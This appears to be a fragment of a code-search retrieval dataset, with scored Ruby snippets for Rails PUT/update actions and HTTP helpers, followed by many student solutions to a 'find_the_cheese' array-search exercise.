"docid": "a6c01447e46fcfe930cb4df3211c5677",
"score": "0.5782644",
"text": "def updateUser\n options = {\n :body => params.to_json,\n :headers => {\n 'Content-Type' => 'application/json',\n 'Authorization' => request.headers['Authorization']\n }\n }\n results = HTTParty.put(\"http://192.168.99.101:4051/users/\"+@current_user[\"id\"].to_s, options)\n render json: results.parsed_response, status: results.code\n end",
"title": ""
},
{
"docid": "329765573fe727ba58fe410ab5edb74d",
"score": "0.57737094",
"text": "def put(path, data = {})\n self.class.put path, :body => data.merge(:u => access_token)\n end",
"title": ""
},
{
"docid": "a96a80d9e3d715babc1494cd4a40196d",
"score": "0.57724124",
"text": "def create_method\n :put_json\n end",
"title": ""
},
{
"docid": "7a1388ffd4b75bf578a0c61a026c9467",
"score": "0.5770777",
"text": "def update\n @osoba = Osoba.find(params[:id])\n\n if @osoba.update(params[:osoba])\n head :no_content\n else\n render json: @osoba.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "a104fde7ac2d7a5c0cf5270587524239",
"score": "0.57636523",
"text": "def test_update_unsuccessful\n data = {\n firstname: \"\",\n lastname: \"Hoang\",\n avatar: \"avatar.png\",\n address: \"111D Ly Chinh Thang\",\n city: \"Ho Chi Minh\",\n email: \"anh@gmallds.sl\",\n mobile: \"0309433343545\",\n gender: 1,\n birthday: \"1991/10/10\"\n }\n\n user_id = 28\n expected = 1002\n uri = URI.parse('http://localhost:3000/v1/users/'+user_id.to_s)\n\n http = Net::HTTP.new(uri.host,uri.port)\n request = Net::HTTP::Put.new(uri.path)\n request.set_form_data(data)\n response = http.request(request)\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"title": ""
},
{
"docid": "1fcaabe75bde269692e337fdbbad8cb7",
"score": "0.5755883",
"text": "def update!(**args)\n @id = args[:id] if args.key?(:id)\n @name = args[:name] if args.key?(:name)\n @resource_name = args[:resource_name] if args.key?(:resource_name)\n @type = args[:type] if args.key?(:type)\n end",
"title": ""
},
{
"docid": "e963029996ab7f947b493a256553d30b",
"score": "0.575587",
"text": "def put(*args)\n prepare_request(:put, args)\n @@client.add(:put, @path, *args)\n end",
"title": ""
},
{
"docid": "915416115926f5486c03b0658e835cfb",
"score": "0.5749361",
"text": "def perform_put(path, options = {})\n perform_request(:put, path, options)\n end",
"title": ""
},
{
"docid": "f7df0bcef2cace138539617b679bc0d4",
"score": "0.57365054",
"text": "def update\n respond_to do |format|\n if @huwaei.update(huwaei_params)\n format.html { redirect_to @huwaei, notice: 'Huwaei was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @huwaei.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "678fc6a3d129ae6a2eb43bf618edf10a",
"score": "0.57345456",
"text": "def update\n respond_to do |format|\n if @houmon.update(houmon_params)\n format.html { redirect_to @houmon, notice: 'Houmon was successfully updated.' }\n format.json { render :show, status: :ok, location: @houmon }\n else\n format.html { render :edit }\n format.json { render json: @houmon.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0d33df9733c380060a92a1133403ca43",
"score": "0.5730671",
"text": "def update_current_logged_in_user(args = {}) \n put(\"/users.json/current\", args)\nend",
"title": ""
},
{
"docid": "4c6059272baabee2212510e015eb7d8d",
"score": "0.5730228",
"text": "def test_put\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n contents = last_response.body\n contents_id = contents['_id']\n\n data = File.read 'sample-traces/1.json'\n put(\"/traces/#{contents_id}\", data, 'CONTENT_TYPE': 'application/json')\n contents = last_response.body\n\n assert_equal contents_id, contents['_id']\n end",
"title": ""
},
{
"docid": "8b7242db696342740424246c9f71fb0e",
"score": "0.5721336",
"text": "def update(resource,identifier,json)\n raise 'Not Yet Implemented'\n end",
"title": ""
},
{
"docid": "51574a204620aae24b9dd515e253e238",
"score": "0.57082576",
"text": "def update\n @uchronia = Uchronia.find(params[:id])\n\n respond_to do |format|\n if @uchronia.update_attributes(params[:uchronia])\n format.html { redirect_to @uchronia, notice: 'Uchronia was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @uchronia.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ba5a882c8b2dbce1dc8153798b2594c2",
"score": "0.5703995",
"text": "def update\n head :ok\n end",
"title": ""
},
{
"docid": "236368f3a04ba3de0404a063e9757af1",
"score": "0.5703303",
"text": "def update\n @apunte = Apunte.find(params[:id])\n\n respond_to do |format|\n if @apunte.update_attributes(params[:apunte])\n format.html { redirect_to @apunte, notice: 'Apunte was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @apunte.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "650314fdc4a8beaec0c37e9588daa57c",
"score": "0.5699942",
"text": "def update\r\n @usertable = Usertable.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @usertable.update_attributes(params[:usertable])\r\n format.html { redirect_to @usertable, notice: 'Your mood was successfully updated.' }\r\n format.json { head :ok }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @usertable.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "a6b98570c1a927e2d56708937339837c",
"score": "0.56986034",
"text": "def put(path, params)\n request(:put, path, params)\n end",
"title": ""
},
{
"docid": "69699629fb49c723a3cdea10842462ac",
"score": "0.56906784",
"text": "def update\n respond_to do |format|\n if @okugai.update(okugai_params)\n format.html { redirect_to @okugai, notice: 'Okugai was successfully updated.' }\n format.json { render :show, status: :ok, location: @okugai }\n else\n format.html { render :edit }\n format.json { render json: @okugai.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6c08e3b498de211018a92efbff9e7b3e",
"score": "0.56873024",
"text": "def update\n if @spice.update(spice_params)\n head :no_content\n else\n render json: @spice.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "24302373fcfc1f2b5d01fcc04a32543f",
"score": "0.5682022",
"text": "def update(data = :object || :json)\n end",
"title": ""
},
{
"docid": "93a8d556b94a82a996640f846dd10b9b",
"score": "0.56811553",
"text": "def update_tenant_maintenance_window(args = {}) \n id = args['id']\n temp_path = \"/tenants.json/maintenance/{tenantId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"title": ""
},
{
"docid": "55dc679e8ae9ab08f7fe5756be21b439",
"score": "0.56803584",
"text": "def update\n render json: Company.update(params[\"id\"], params[\"company\"])\n end",
"title": ""
},
{
"docid": "d6a256108adc6876ddcf3af7fdaeb1ae",
"score": "0.568004",
"text": "def update\n respond_to do |format|\n if @single_housing.update(single_housing_params)\n format.html { redirect_to @single_housing, notice: 'Single housing was successfully updated.' }\n format.json { render :show, status: :ok, location: @single_housing }\n else\n format.html { render :edit }\n format.json { render json: @single_housing.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "53727df11c5bedd4f46e599f8a76aab8",
"score": "0.5676889",
"text": "def update!(**args)\n @id = args[:id] if args.key?(:id)\n @response = args[:response] if args.key?(:response)\n end",
"title": ""
},
{
"docid": "c58f68385d05a3a713895afa4b742ea3",
"score": "0.5674467",
"text": "def update_current_logged_in_users_password(args = {}) \n id = args['id']\n temp_path = \"/users.json/current/password\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"userId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"title": ""
},
{
"docid": "afecc7845542fce06842e523ac107fce",
"score": "0.56727564",
"text": "def put(path, options = {})\n request(:put, path, options)\n end",
"title": ""
},
{
"docid": "afecc7845542fce06842e523ac107fce",
"score": "0.56727564",
"text": "def put(path, options = {})\n request(:put, path, options)\n end",
"title": ""
},
{
"docid": "f49363d021c0d62080f922eaf5fcc967",
"score": "0.5672609",
"text": "def put(path, &block)\n route 'PUT', path, &block\n end",
"title": ""
},
{
"docid": "95db6e768803a2f7299c9fbe3b15cd20",
"score": "0.56676465",
"text": "def actualizacion \n fiesta.update (params[:id]) \n render json: fiesta\n end",
"title": ""
},
{
"docid": "621410ae905cc958fe3dff57415918e5",
"score": "0.56620514",
"text": "def update\n @heli_kit = HeliKit.find(params[:id])\n\n respond_to do |format|\n if @heli_kit.update_attributes(params[:heli_kit])\n format.html { redirect_to @heli_kit, notice: 'Heli kit was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @heli_kit.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "63a3f68d64a62a0d0c88edc9ff0cdf7f",
"score": "0.5649631",
"text": "def put(path, params={}, options={})\n request(:put, api_path(path), params, options)\n end",
"title": ""
},
{
"docid": "24207c81c43d96a273463a69d55704e1",
"score": "0.5642738",
"text": "def create_or_update_profile_configuration(args = {}) \n id = args['profileId']\n temp_path = \"/profiles.json/{profileId}/configuration\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"profileId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"title": ""
},
{
"docid": "1028973cffc69617bd7b2c272318642c",
"score": "0.5640956",
"text": "def update_radios_for_array(args = {}) \n id = args['id']\n temp_path = \"/radios.json/{arrayId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"radioId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"title": ""
},
{
"docid": "980a9cf6946e5d68fcb9d3e84a1daba4",
"score": "0.5637598",
"text": "def raw_put(path, body, options = {})\n # Allow format override\n format = options.delete(:format) || @format\n # Clear cache\n expire_matching \"#{parent_path(path)}.*\"\n # Create PUT request\n put = Typhoeus::Request.new(\"#{protocol}#{@server}#{path}\", \n :verbose => DEBUG,\n :method => \"put\",\n :body => body,\n :headers => { :'Content-type' => options[:content_type] || content_type(format) }\n )\n # Send request\n do_request(put, format)\n end",
"title": ""
},
{
"docid": "0b4fc82a67f9d1a2b001a6081ef37e57",
"score": "0.56372464",
"text": "def update\n render json: Item.update(params[\"id\"], params[\"item\"])\n end",
"title": ""
},
{
"docid": "610a42acd7f8a8ca7d13a542bebf25a2",
"score": "0.56352186",
"text": "def put\n RestClient.put(url, @body, @header) do |rso, req, res|\n setup(rso, req, res)\n end\n end",
"title": ""
},
{
"docid": "541a6a4eba70b67090e79e94ee56960c",
"score": "0.5635168",
"text": "def put(path, options={})\n send_request 'put', path, options\n end",
"title": ""
},
{
"docid": "eb68556cdf02c29992b0afba6e562d04",
"score": "0.5635053",
"text": "def update\n respond_to do |format|\n if @syohin.update(syohin_params)\n format.html { redirect_to @syohin, notice: 'Syohin was successfully updated.' }\n format.json { render :show, status: :ok, location: @syohin }\n else\n format.html { render :edit }\n format.json { render json: @syohin.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
fd3c8bd03ff165db4eafdbb7320b5cce
|
def find_the_cheese(foods) code an argument here cheese_types = ["cheddar", "gouda", "camembert"] if foods.include?("cheddar") puts "cheddar" elsif foods.include?("gouda") puts "gouda" elsif foods.include?("camembert") puts "camembert" else puts nil end end
|
[
{
"docid": "b03a9b318715539c1c0106896b59b6f8",
"score": "0.80156165",
"text": "def find_the_cheese(foods)\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n if (foods - cheese_types).empty? == true\n puts nil\n else\n cheese_types.find{ |c| foods.include?(c) }\n end\nend",
"title": ""
}
] |
[
{
"docid": "b907ab8325af23313203940af486e6a7",
"score": "0.873067",
"text": "def find_the_cheese(stuff)\n # the array below is here to help\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n\n if stuff.include?(\"cheddar\")\n return \"cheddar\"\n elsif stuff.include?(\"gouda\")\n return \"gouda\"\n elsif stuff.include?(\"camembert\")\n return \"camembert\"\n else\n return nil\n end\nend",
"title": ""
},
{
"docid": "cfc2219f35293cbbfa9aff919cdd01ec",
"score": "0.8682378",
"text": "def find_the_cheese(cheese_types)\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n cheese_types.include?(cheddar)\nend",
"title": ""
},
{
"docid": "993e6b048ef94a883b4a781704651cb0",
"score": "0.8309574",
"text": "def find_the_cheese(food)\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n food.find { |cheese| cheese_types.include?(cheese) }\nend",
"title": ""
},
{
"docid": "72a2aa1f6bc9964905d43c99eab9cde1",
"score": "0.82352835",
"text": "def find_the_cheese(foods)\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"] # Define cheeses\n \n # Iterate through each food and cheese for matches\n foods.find { |food| cheese_types.find { |cheese| food.include?(cheese) } }\nend",
"title": ""
},
{
"docid": "da7a0bc382deef100c5c187f616c3747",
"score": "0.8231184",
"text": "def find_the_cheese(cheese_types)\n cheese_types.detect do |cheese|\n if cheese == \"cheddar\" \n return cheese \n end \n end\nend",
"title": ""
},
{
"docid": "433bffc5bd170348aec58d30a0684126",
"score": "0.82078624",
"text": "def find_the_cheese(other_cheeses)\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n cheese_types.detect{|cheese| other_cheeses.include? cheese }\nend",
"title": ""
},
{
"docid": "ce019011ec6478fe40bfe8a403615e76",
"score": "0.8191892",
"text": "def find_the_cheese(cheese)\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n\n#if cheese.any? do |x|\n#cheese_types.include?(x)\n# end\n\n cheese.find do |type|\n cheese_types.include?(type)\n end\n\n\nend",
"title": ""
},
{
"docid": "34f74b7369b5a44a3066d60c0b9d59ae",
"score": "0.8161083",
"text": "def find_the_cheese(snacks)\n # the array below is here to help\\\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n snacks.find {|snack| cheese_types.include?(snack) }\nend",
"title": ""
},
{
"docid": "d5afe39d90033158c62ece2bea4f01c3",
"score": "0.8131477",
"text": "def find_the_cheese(snacks)\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n snacks.find {|snack| cheese_types.include?(snack)}\nend",
"title": ""
},
{
"docid": "15246643831b485b9be0fb20a6fe7b2e",
"score": "0.8124173",
"text": "def find_the_cheese(snacks)\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n snacks.detect {|snack| cheese_types.include?(snack)}\nend",
"title": ""
},
{
"docid": "891c6de6b9eb0881033979418786b0ba",
"score": "0.8108261",
"text": "def find_the_cheese(food_array)\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n food_array.each do |food|\n if cheese_types.include?(food)\n return food\n end\n end\n return nil\nend",
"title": ""
},
{
"docid": "3fd2fad85f83f1c18a55af3e576590f8",
"score": "0.8066921",
"text": "def find_the_cheese(array)# code an argument here\n # the array below is here to help\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n cheese_types.all? do |queso|\n if array.include?(queso)\n return queso\n else\n return nil\n end\n end\nend",
"title": ""
},
{
"docid": "0843870c0b5f6082540ca37b9e65b88b",
"score": "0.8061184",
"text": "def find_the_cheese(array)\narray.each do |element|\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n if cheese_types.include?(element)\n return element\n# code an argument here\n # the array below is here to help\n\nend\nend\nreturn nil\nend",
"title": ""
},
{
"docid": "fe4a71dae7fa3e4280550361c3639e05",
"score": "0.7949015",
"text": "def find_the_cheese(snacks)\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n snacks.find do |item|\n cheese_types.include?(item)\n end\nend",
"title": ""
},
{
"docid": "97bbf68006c058c4e4c5715ba3d5db2c",
"score": "0.79474014",
"text": "def find_the_cheese(potentially_cheesy_items)\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n potentially_cheesy_items.find do |maybe_cheese|\n cheese_types.include? maybe_cheese\nend\nend",
"title": ""
},
{
"docid": "fe92195c6fe110322a2c091a3b7d2c73",
"score": "0.7936031",
"text": "def find_the_cheese(snacks)\n # the array below is here to help\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n snacks.find do |item| \n cheese_types.include?(item)\n end\nend",
"title": ""
},
{
"docid": "59770e0d77a2d5c9405ee97ff2f3140f",
"score": "0.78910524",
"text": "def find_the_cheese(list)\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n list.find { |cheese| cheese_types.include?(cheese)}\nend",
"title": ""
},
{
"docid": "fb92d136fa4e126a600e65b5e3b0ee43",
"score": "0.78787905",
"text": "def find_the_cheese(strings)\n # the array below is here to help\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n strings.find do |strings|\n cheese_types.include? (strings)\n end\nend",
"title": ""
},
{
"docid": "29ad1cbaecd742b80b006ebcd0265b46",
"score": "0.78594625",
"text": "def find_the_cheese(array)\n # the array below is here to help\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n cheese_types.find{|cheese| return cheese if array.include?(cheese) == true}\nend",
"title": ""
},
{
"docid": "3f805c7e659abf2b99168360bbd08ad4",
"score": "0.7838941",
"text": "def find_the_cheese(list)# code an argument here\n # the array below is here to help\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n temp =nil\n cheese_types.each do |name|\n list.include?(name) ? temp = name : next\n end\n return temp\n\nend",
"title": ""
},
{
"docid": "eefaa2c52e0d08693a4838e0cc0950f3",
"score": "0.78292376",
"text": "def find_the_cheese(cheddar_cheese)\n \n cheese_detected = cheddar_cheese.detect do |array_objects| \n [\"cheddar\", \"gouda\", \"camembert\"].include?(array_objects)\n end \n cheese_detected\nend",
"title": ""
},
{
"docid": "b804f49aa413ec13ff4383373aea5a08",
"score": "0.7815572",
"text": "def find_the_cheese (array_strings)\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n \n \n # array_strings.any?{|thing| cheese_types.include?(thing)}\n \n array_strings.find do |thing| \n cheese_types.include? (thing)\n end\n \nend",
"title": ""
},
{
"docid": "ba23b2e1cd4acc5d019deba732447ae3",
"score": "0.77788293",
"text": "def find_the_cheese(array)\n # the array below is here to help\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n #array.include?(cheese_types)\n array.find do |type|\n cheese_types.include?(type)\n end\n\nend",
"title": ""
},
{
"docid": "897a36d95808dcc82a6a5f3f31a72854",
"score": "0.7739643",
"text": "def find_the_cheese(queso)\n# # the array below is here to help\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n queso.find do |type|\n # return the first element that is labeled as one of these types of cheese \n cheese_types.include?(type)\n # does it include any of the 3 above?, if so, true\n end \nend",
"title": ""
},
{
"docid": "ba9d45c67be2fe8f0ac6e195c3868e98",
"score": "0.7728026",
"text": "def find_the_cheese(array)\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n array.find{|x| cheese_types.include?(x) }\nend",
"title": ""
},
{
"docid": "5f2e47b9e7bfdc7ef4db6eb22bb94924",
"score": "0.7721047",
"text": "def find_the_cheese(array) # array of strings \n# the array below is here to help\n \n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n array.find do |cheese|\n cheese_types.include?(cheese)\nend \nend",
"title": ""
},
{
"docid": "cc69db8a81d0cd4b02f912398b873b8b",
"score": "0.77013797",
"text": "def find_the_cheese(snacks)\n # the array below is here to help\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n #cheese = cheese_types.join(', ')\n snacks.find { |snack| cheese_types.include?(snack) } #returns true if there is a match\n #now that we know there is a match, how do we capture it\nend",
"title": ""
},
{
"docid": "98fdd20318d49397ba7b55a0a8acf7d0",
"score": "0.76515734",
"text": "def find_the_cheese(array)\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n array.find do |cheese|\n cheese == \"cheddar\" || cheese == \"gouda\" || cheese == \"camembert\"\n \n end\n \n \nend",
"title": ""
},
{
"docid": "ee13a9b5ecfed919d41aab0e90da7859",
"score": "0.7643572",
"text": "def find_the_cheese(array)\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n array.find {|x| cheese_types.include? x}\nend",
"title": ""
},
{
"docid": "8942ae90f7308eabfddd24c9edc5868c",
"score": "0.76422256",
"text": "def find_the_cheese(food_array)\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n food_array.find do |x| #return the first value (x) for which the .include? statement is true in the block\n cheese_types.include?(x) #does the cheese_types include x (x is a value from food_array)\n end\nend",
"title": ""
},
{
"docid": "751ddf293232050c38484157f568a89d",
"score": "0.76188177",
"text": "def find_the_cheese(array)\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n array.find{|string| cheese_types.include?(string)}\nend",
"title": ""
},
{
"docid": "fb38ef8067b898b83d76bc06e4e9cba7",
"score": "0.7608405",
"text": "def find_the_cheese (potential_cheese_array)\n cheese_types = [\"cheddar\",\"gouda\",\"camembert\"]\n potential_cheese_array.find do |cheese| \n cheese_types.include?(cheese)\n end\n end",
"title": ""
},
{
"docid": "ab6d67519749e6b5794fc339096a155d",
"score": "0.7607486",
"text": "def find_the_cheese(array)\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n array.find {|cheese| cheese_types.include? (cheese)}\nend",
"title": ""
},
{
"docid": "dd455a6d3545f183724df5fb41779101",
"score": "0.7599735",
"text": "def find_the_cheese(array)\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n array.find {|snack| cheese_types.include?(snack)}\nend",
"title": ""
},
{
"docid": "b70995cbfda2484499a042435704a9bd",
"score": "0.75934",
"text": "def find_the_cheese(array)\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n array.each do |word|\n if cheese_types.include?(word)\n return word \n end \n end \n nil \nend",
"title": ""
},
{
"docid": "ba51001b910ac420f5220d2de17f7793",
"score": "0.75895107",
"text": "def find_the_cheese(array)\n cheese_types = [\"gouda\", \"cheddar\", \"camembert\"]\n array.find {|cheese| cheese_types.include?(cheese)}\nend",
"title": ""
},
{
"docid": "1f35f5e855b814be775dc69e6fa1b900",
"score": "0.7583561",
"text": "def find_the_cheese(array)\n # the array below is here to help\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n array.find do |cheese|\n cheese_types.include?(cheese)\n end\nend",
"title": ""
},
{
"docid": "052d9a8a368f92300cd0d9e67b81474e",
"score": "0.75815845",
"text": "def find_the_cheese(arr)\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n arr.find do |maybe_cheese|\n cheese_types.include?(maybe_cheese)\n end\nend",
"title": ""
},
{
"docid": "2b0115b31d3d0be4e030d4cba2b739fe",
"score": "0.7572376",
"text": "def find_the_cheese(arr)\n # the array below is here to help\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n arr.find do |a|\n cheese_types.include?(a)\n end \nend",
"title": ""
},
{
"docid": "5adbfec3fb54946af796563adecf65de",
"score": "0.7569776",
"text": "def find_the_cheese(array)\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n array.detect do |i|\n cheese_types.include?(i)\n end\nend",
"title": ""
},
{
"docid": "938ad06f2f43121fdc0400bc3feb0aec",
"score": "0.7550322",
"text": "def find_the_cheese(array)\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n array.find { |tasty_morsel| cheese_types.include?(tasty_morsel) }\nend",
"title": ""
},
{
"docid": "6b9db060d82111316741af4460f6ac27",
"score": "0.7525148",
"text": "def find_the_cheese(strings)\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n strings.find do |word|\n binding.pry \n cheese_types.include?(word)\n # if word == cheese_types\n # puts cheese_types\n # else\n # return nil\n # end\n end\nend",
"title": ""
},
{
"docid": "a44958984420a76053b6d240222c57b1",
"score": "0.7523787",
"text": "def find_the_cheese(array)\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n array.find { |cheese| cheese_types.include?(cheese) }\nend",
"title": ""
},
{
"docid": "bc7fb65097dce5418aeb1f175d4edabc",
"score": "0.7497261",
"text": "def find_the_cheese(array)\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n array.find do |type|\n cheese_types.include?(type)\n end\nend",
"title": ""
},
{
"docid": "e16a33e9f85b89121061920b602bc981",
"score": "0.7495831",
"text": "def find_the_cheese(array)\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n array.find {|cheese| \n \tcheese == cheese_types[0] || cheese == cheese_types[1] || cheese == cheese_types[2]\n \t}\nend",
"title": ""
},
{
"docid": "cc10c88c7a4468d4ac05a4d2298b4fd9",
"score": "0.74659646",
"text": "def find_the_cheese(array)\n array.each do |maybe_cheese|\n if maybe_cheese==\"cheddar\"||\n maybe_cheese==\"gouda\"||\n maybe_cheese==\"camembert\"\n return maybe_cheese\n end\n end\n return nil\nend",
"title": ""
},
{
"docid": "cc2be92d1bccddef4e7c120a3576cba7",
"score": "0.7461002",
"text": "def find_the_cheese(strings_array)\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n i = 0 \n while i < strings_array.length do \n if cheese_types.include? \"#{strings_array[i]}\"\n return strings_array[i]\n end\n i += 1 \n end\n return nil\nend",
"title": ""
},
{
"docid": "e724aaffbdd9f15906a100b13b6f7f3b",
"score": "0.7457362",
"text": "def find_the_cheese(array)\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n array.find do |cheese|\n cheese_types.include?(cheese)\n end\nend",
"title": ""
},
{
"docid": "95cc435382c1a71b6d070d7a5d92dab6",
"score": "0.7446964",
"text": "def find_the_cheese(array)\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n array.find{ |elem| cheese_types.include?(elem) }\nend",
"title": ""
},
{
"docid": "9903a8315b085fa13a05b6aa73160181",
"score": "0.7439928",
"text": "def find_the_cheese(array)\n array.detect do |options|\n options == \"cheddar\" || options == \"gouda\" || options == \"camembert\"\n end\nend",
"title": ""
},
{
"docid": "c68171d38fb1deb32e9eb4806872cfd9",
"score": "0.7413869",
"text": "def search(grocery_list)\n if grocery_list.include?(\"bananas\")\n puts \"You need to pick up bananas\"\n else\n puts \"You don't need to pick up bananas today\"\n puts \" \"\n end\nend",
"title": ""
},
{
"docid": "c5d8ca8cfa721556c70a5ecd2f817611",
"score": "0.73977995",
"text": "def find_the_cheese(array)\n array.find {|things| things==\"gouda\" || things == \"cheddar\" || things == \"camembert\"}\n\n\nend",
"title": ""
},
{
"docid": "5227af46a59659e3e4b58cc1a2796fcf",
"score": "0.7341959",
"text": "def find_the_cheese(a)\n a.map do |cheese| \n if a.include?(\"cheddar\") \n return \"cheddar\"\n else if a.include?(\"gouda\") \n return \"gouda\"\n else if a.include?(\"camembert\") \n return \"camembert\"\n end end end \n end\nnil\nend",
"title": ""
},
{
"docid": "88e985615750ee65f611de0fd8be928d",
"score": "0.7287555",
"text": "def find_the_cheese(array)\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n # array.include?(cheese_types)\n # if (cheese_types & array).find{|common| print \" #{common}\" } == true\n # else\n # print nil\n # end\n \n # print (cheese_types & array).find{|common| print \" #{common}\" }\n # return array.include?(cheese_types)\n\n \n array.find do |common|\n cheese_types.include?(common)\n \tend \n \n \nend",
"title": ""
},
{
"docid": "026601b17258dffb795771e2fa7f2faf",
"score": "0.72794044",
"text": "def my_food(food = \"hamburguer\".capitalize)\n case food\n when \"Steak\"\n \"Ohh, delicious\"\n when \"Sushi\"\n \"ummm, I don't like\"\n when \"Pizza\"\n \"The pizza es very delicious\"\n when \"Hamburguer\", \"Chips\", \"Chicken nuggets\"#we can put multiple comparisons separated by a comma for a specific message saving comparators like && and saving space without if\n \"Ohh, mi favorite food\"\n else\n \"I'm sorry, I don't know about that food\"\n end\nend",
"title": ""
},
{
"docid": "52736c457120f6a56184d4627df925d9",
"score": "0.7243026",
"text": "def find_the_cheese(array)\n i = 0 #start at first item: cheddar\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n while i < cheese_types.length #keep going until last item, camembert.\n return cheese_types[i] if array.include?(cheese_types[i]) #return new list of cheese types if there is one.\n i += 1 #add to list. increment. \n end\nend",
"title": ""
},
{
"docid": "69acbc4727ff7ba97a23ed88ad7c6be6",
"score": "0.7222463",
"text": "def find_the_cheese(array)\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n\n array.find do |element|\n cheese_types.include?(element)\n end\n\nend",
"title": ""
},
{
"docid": "a3b70d5bc1c4a4b8bc2706b50293a302",
"score": "0.7218778",
"text": "def find_the_cheese(snacks)\n cheeses = [\"cheddar\", \"gouda\", \"camembert\"]\n cheeses.each do |elements|\n return elements if snacks.include?(elements)\n end\n nil\n # binding.pry\n end",
"title": ""
},
{
"docid": "1e1dab4db2dd3a824b1d9d348693e950",
"score": "0.7172835",
"text": "def find_the_cheese(potentially_cheesy_items)\n cheeses = %w[gouda cheddar camembert]\n potentially_cheesy_items.find do |maybe_cheese|\n cheeses.include?(maybe_cheese)\n end\nend",
"title": ""
},
{
"docid": "1529b8904dd0a17925a2cdf44df907a0",
"score": "0.71667403",
"text": "def find_the_cheese(array)\ncheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n array.collect do |x|\n return x if cheese_types.include?(x)\n end\n nil\nend",
"title": ""
},
{
"docid": "fc2b24c2fd2fcd5500ff03b43c613bd5",
"score": "0.7144328",
